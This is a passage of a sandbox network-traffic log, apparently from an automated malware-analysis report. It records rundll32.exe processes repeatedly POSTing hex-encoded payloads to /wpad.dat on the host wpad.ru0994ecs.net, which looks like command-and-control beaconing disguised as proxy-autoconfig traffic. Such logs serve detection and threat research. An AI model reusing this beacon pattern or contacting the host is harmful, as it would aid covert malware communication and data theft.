2024-04-16 13:36:38 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:39 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vtPQXoGwaZ0NxT%2FK6LhywZNjO3jS2aJUWNOdLAhdHzam8ZG%2FUswe4k3b8shcO0oB1ookM6sTJ2t%2F08ASFOdN2Pnw72SFNsPcsQpZY4xGZbtr64wE6f4qhrmC%2B6jl8b4N7XiWQJU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490c3ca80135d-ATL
2024-04-16 13:36:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.8	49794	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:40 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:40 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:40 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HSAG2ARvEMIshw5ekZsycG94M93KFvvbu%2B7x%2FP4cv8SCrXfzOH694cFNgkwKXeVG0KjsW7NblKrIKwKFf8E25i%2Fa7BgIhagx%2BpGxWE8wV7aaCiqEefaNlCrEROl3g3y7%2FmpwAsM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490cce9aaadde-ATL
2024-04-16 13:36:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.8	49796	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:40 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:40 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:40 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lXiDBq4I6sYhjR0SbcFg%2FPg5DU7Ku0sSnIBzU2fw5ewYP3bx71B03L5OsAYVnvFlld8UB8b9wtV7pmxgs6I%2FU7QUu%2F5M7FaLDlTST%2FvJotbuDqiWVoP2YkcgqoANThoW2r%2F0sVg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490cdcf7a53ee-ATL
2024-04-16 13:36:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.8	49795	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:40 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:40 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:40 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jIQKFMFsun9bz3gC69TkbI7Pw%2Fz5Gh87HLl9y6oqoAHfuWJ0ik3%2BtY89YdLf2xiR70TEGtY4ssR3ge7RU3cTnWs2v3OxqW7gjkSwgH83eVI%2BsVIxK3ldH4v0Df42Ipi%2Fichad3I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490cdc8846743-ATL
2024-04-16 13:36:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.8	49797	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:40 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:40 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:41 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nAHynM5eb1CzRUO%2BVNOsLj1DQ1UxzCazxBW5dHj9a%2BoJrSmh5ZuZ7zGJtNoRx3N04j4ZQ3Km2E0DCgSEKKyfK%2BlNrm2jLGECSzVjUlWIBgrWLvBUpEladrpZeaTU5IG31x1J4Og%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490d0ea2b1d80-ATL
2024-04-16 13:36:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.8	49798	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:40 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:40 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:41 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N1yPURIQbK41uKvrc6YktEmWi2aszsxEehS0quiSnR5Accokq53c8U%2FEk1GIi%2FcUk9rC%2FW9KPH3kCb5Sya2nvAS8EMneN4E8jVTiQGmrBvlMWbAg3iGrR9W3GPrQqY7wsCg%2B%2BEs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490d13a827bc9-ATL
2024-04-16 13:36:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.8	49799	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:41 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:41 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:41 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kpDh4cAeGBXf297VMFdycuTkCMpVnMWRUzwK%2BzF9B9uP5Q2C6TTTWN21xIAi6X2yt3Z5Yg77W4V1xLI4s8MJE0p9Y9ZsNDZuQOczT7Vll%2BHEf1ScraBtgjW%2FA0hyD08knP4lUkI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490d18c6fb03e-ATL
2024-04-16 13:36:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.8	49801	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:43 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:43 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:43 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5qOrfV0zo3IxzLeOeVRdNyCK1fKTL2SeIi93mvhbWJ8Owt19PaoIKhhDyk1U7WVZb%2BOm7ZXCyiFeLHSZ6HMTB2uajRyWBuU7EG65wcsiwE8w%2BzbFiDWIVqeoAALJZImXugICc1g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490e15d4153bd-ATL
2024-04-16 13:36:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.8	49800	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:43 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:43 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:43 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5gMa7oD7SBK%2BisGO17LcTPOsTcooyVqVPYm9kpL2vNMPNmC2JM2ppBqUsmSxb5DsEp95mY3eW0b3%2BLKigY3rn4Fg1HDx5gjyoST8YdFuvjZPoh6ADGRRJEePK6T5Z8JoyMWXqEk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490e16ae0678b-ATL
2024-04-16 13:36:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.8	49802	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:46 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:46 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:46 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hekynzMFfLzU41DsZ2gXsJFfJPN8EVW1ws%2BSst6MFkatQTm9ywx7%2FgFlTIzizK1uPQDvne8ZQlNNRzaAwFBZi3mZsEu4tRf2Ytsf95JdLLQFX93l2i3vtv%2FkrfTkrBCdZh9LDSI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490f4191d7bd8-ATL
2024-04-16 13:36:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.8	49804	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:47 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:47 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:47 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hQIDxtIK0cZS7omerCchM4ZRww336syj0lKAp98MMKyy1%2Fb0XpcAEJMmLR1IMF1Fm5jS5OVdo1%2FXSa9ybYkIy%2FD%2B79yUfraIX7IVuK4rOau2m%2FEwjD4VlrXwNXzBvn3jfJdr0Kc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490f7c9fd673f-ATL
2024-04-16 13:36:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.8	49803	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:47 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:47 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:47 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0RyB9xIieAVB6cf4qafhPFo5BSxGBSCJRfPYtbxclRSQCeDgKe9%2FztJkZHdCqgIzjjR1tmmSqJnnGhswstAbUq7xWd69Pw0RG5kPqNayOyn%2Bs4yANoDeyivdJ7lqgg8XwFFNZ9s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490f7bde01873-ATL
2024-04-16 13:36:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.8	49805	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:51 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:51 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:52 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JPMm2OEmuExqieg1qtp%2BrzGgi5H%2Fds0Ia1GHgZxVOgVP6fIWyOcB6A3HVZkln9NWTPvSzaGvzV88qazT0KYrc0KEszJiTrHVLj%2Bg9tj6IWpUCWMBR6Wo4XcXM4v0f5N3pbDFmUc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754911478b8ada7-ATL
2024-04-16 13:36:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.8	49806	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:51 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
